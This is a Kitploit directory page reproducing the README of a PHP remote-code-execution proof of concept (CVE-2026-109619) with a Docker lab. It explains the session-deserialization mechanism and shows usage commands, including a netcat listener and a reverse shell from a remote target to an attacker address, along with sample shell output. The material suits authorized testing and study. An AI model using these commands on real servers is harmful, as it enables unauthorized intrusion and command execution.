Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
php2shell-poc — Zero-dependency Python PoC & Docker Compose reproduction for CVE-2026-109619 via PHP RFC1867 upload progress and opcache.preload. (133 characters) | Kitploit
Tools/GitHubGitHub/mazdel/php2shell-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access ToolLabs & Practice
GitHubmazdel/php2shell-poc

php2shell-poc

Zero-dependency Python PoC & Docker Compose reproduction for CVE-2026-109619 via PHP RFC1867 upload progress and opcache.preload. (133 characters)

11 month agoNot yet reviewed
View Repository
Share

php2shell PoC — CVE-2026-109619

This is a minimal proof of concept for the PHP session upload-progress bug: on unpatched PHP the progress handler initializes the session before RINIT and deserializes its contents. A class loaded by opcache.preload is instantiated and its __wakeup() runs before the request script. The PoC spawns a shell on the target — running arbitrary commands through shell_exec() or an interactive reverse shell back to the attacker's machine — with no offsets and no ASLR bypass.

php2shell spawning a reverse shell against the Docker lab

[!WARNING] For authorized security testing only. The included preload gadget is deliberately vulnerable. Never deploy it to a production web root. Do not run this against systems you do not own or have written permission to test. The reverse-shell option sends a real payload that connects from the target back to your listener.

What this is?

This is the CVE-2026-109619 session path, not the original counter-pointer PoC. It does not use zend_call_function, heap grooming, or a --dtor address.

  • Affected: PHP before the fixed releases below.
  • Fixed: PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35.
  • Lab-confirmed with this PoC: PHP 8.5.4-FPM and 8.4.26; the same session path also reproduced on 8.3.35 in the version matrix.
  • Not covered: the CVE-2026-109618 OOM corruption chain.

Requirements

The PoC is a single Python 3.8+ script with no third-party dependencies. The included lab needs Docker Engine or Docker Desktop with Compose v2.

  1. Unpatched PHP with session.upload_progress.enabled=On and file_uploads=On.
  2. A gadget class available before RINIT. The lab uses opcache.preload; a framework class with a usable __wakeup() / __unserialize() works the same way.
  3. A session record containing the serialized gadget for a known session id. The Docker mode seeds it locally; for a real target you need an authorized seeding channel.
  4. session.serialize_handler=php (the default). The record format used here is evil|O:14:"Php2ShellProbe":....
  5. shell_exec() not disabled.

Quick start (Docker lab)

git clone https://github.com/bigb0x/php2shell-poc.git
cd php2shell-poc
docker compose -f lab/docker-compose.yml up -d
curl http://127.0.0.1:8899/
python3 php2shell.py -c 'id; whoami; uname -a'

The lab runs PHP 8.5.4-FPM behind nginx on 127.0.0.1:8899, with the gadget preloaded and /tmp as the session save path. The PoC seeds the session inside the container, sends the multipart request, and reads the marker.

Expected result:

  ███   █  █  ███   ███   ████  █  █  ████  █     █
  █  █  █  █  █  █     █  █     █  █  █     █     █
  ███   ████  ███   ███   ███   ████  ███   █     █
  █     █  █  █     █        █  █  █  █     █     █
  █     █  █  █     ████  ████  █  █  ████  ████  ████
  CVE-2026-109619  //  PRE-RINIT SESSION DESERIALIZATION
  authorized lab use only  //  patched 2026-10-21
  source  https://github.com/bigb0x/php2shell-poc

  ── TARGET ──────────────────────────────────────────────────
  url        http://127.0.0.1:8899/
  session    ...
  payload    shell_exec: id; whoami; uname -a

  ── EXECUTION ───────────────────────────────────────────────
  seed       /tmp/sess_...
  trigger    multipart POST with PHP_SESSION_UPLOAD_PROGRESS
  response   HTTP 200 OK

  ╔════════════════════════════════════════════════════════════╗
  ║ [+] RCE CONFIRMED                                          ║
  ║    __wakeup() executed before RINIT                        ║
  ╚════════════════════════════════════════════════════════════╝

  ── SHELL OUTPUT ────────────────────────────────────────────
  php2shell CVE-2026-109619 __wakeup
  uid=33(www-data) gid=33(www-data) groups=33(www-data)
  www-data
  Linux ... aarch64 GNU/Linux

To test another vulnerable branch, change the image tag in lab/docker-compose.yml to php:8.4.26-fpm or php:8.3.35-fpm and restart. The fixed php:8.5.12-fpm image is the negative control.

Reverse shell

This mode opens an interactive reverse shell back to the attacker's machine: the target connects out to the listener you run, giving you command execution as the PHP user (typically www-data). The PoC does not start a listener. Open one on the machine you control first:

# terminal 1 — on the attacker machine
nc -lv 4444

# terminal 2 — from the repo, targeting the local lab
python3 php2shell.py --reverse 4444

For a remote dev/pre-prod host, use an address the target can reach and pass the authorization flag:

python3 php2shell.py \
  -u https://preprod.example.internal/ \
  --allow-remote \
  --reverse 203.0.113.10:4444

For a remote target, 203.0.113.10 is the attacker machine's VPN/LAN address or an authorized tunnel, and inbound TCP to the listener must be allowed. In the Docker lab, a bare port such as --reverse 4444 targets host.docker.internal, which Compose maps to the host; that name is not available from a remote target. The payload uses bash and /dev/tcp; the target must have bash and permit outbound TCP.

Usage

-u, --url URL              target endpoint (default: http://127.0.0.1:8899/)
-c, -command, --command    command executed by the gadget
--reverse [LHOST:]LPORT    send a reverse shell instead of a command
--container NAME           PHP container for seeding and marker reads
--session-dir PATH         session.save_path inside the container (default: /tmp)
--sid SID                  session id (random by default)
--no-seed                  skip Docker; use an already-seeded session
--allow-remote             permit a non-loopback target
--timeout SECONDS          HTTP timeout (default: 30)
--verbose                  print the exact serialized session record
--no-color                 disable colors and the banner

Colors and the banner are enabled only on an interactive terminal. Piped output is plain; NO_COLOR=1 or --no-color forces plain output.

The PoC prints the exact serialized record in --no-seed mode and with --verbose. In --no-seed mode, use that record to plant the session yourself and rely on the framed PHP2SHELL-BEGIN ... PHP2SHELL-END output, or read /tmp/php2shell_rce.txt if you have file access. The marker is more reliable when the application discards pre-script output.

The release serializes Php2ShellProbe->cmd. If you have a different preloaded gadget, change the CLASS and SESSION_PROPERTY constants at the top of php2shell.py to match its class and property names.

How it works

  1. The session file contains evil|O:14:"Php2ShellProbe":... for the chosen session id.
  2. The multipart request carries PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS; PHP's RFC1867 handler processes the upload before the script's RINIT.
  3. The handler initializes the session and deserializes the record. On vulnerable PHP the preloaded class is instantiated and __wakeup() runs.
  4. The lab gadget runs shell_exec($cmd), writes a marker, and echoes the output into the response.

The official fix adds in_rfc1867_update, resets session globals at MULTIPART_EVENT_START, and decodes objects as __PHP_Incomplete_Class while the progress update runs. Patched builds do not invoke the gadget.

Troubleshooting

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →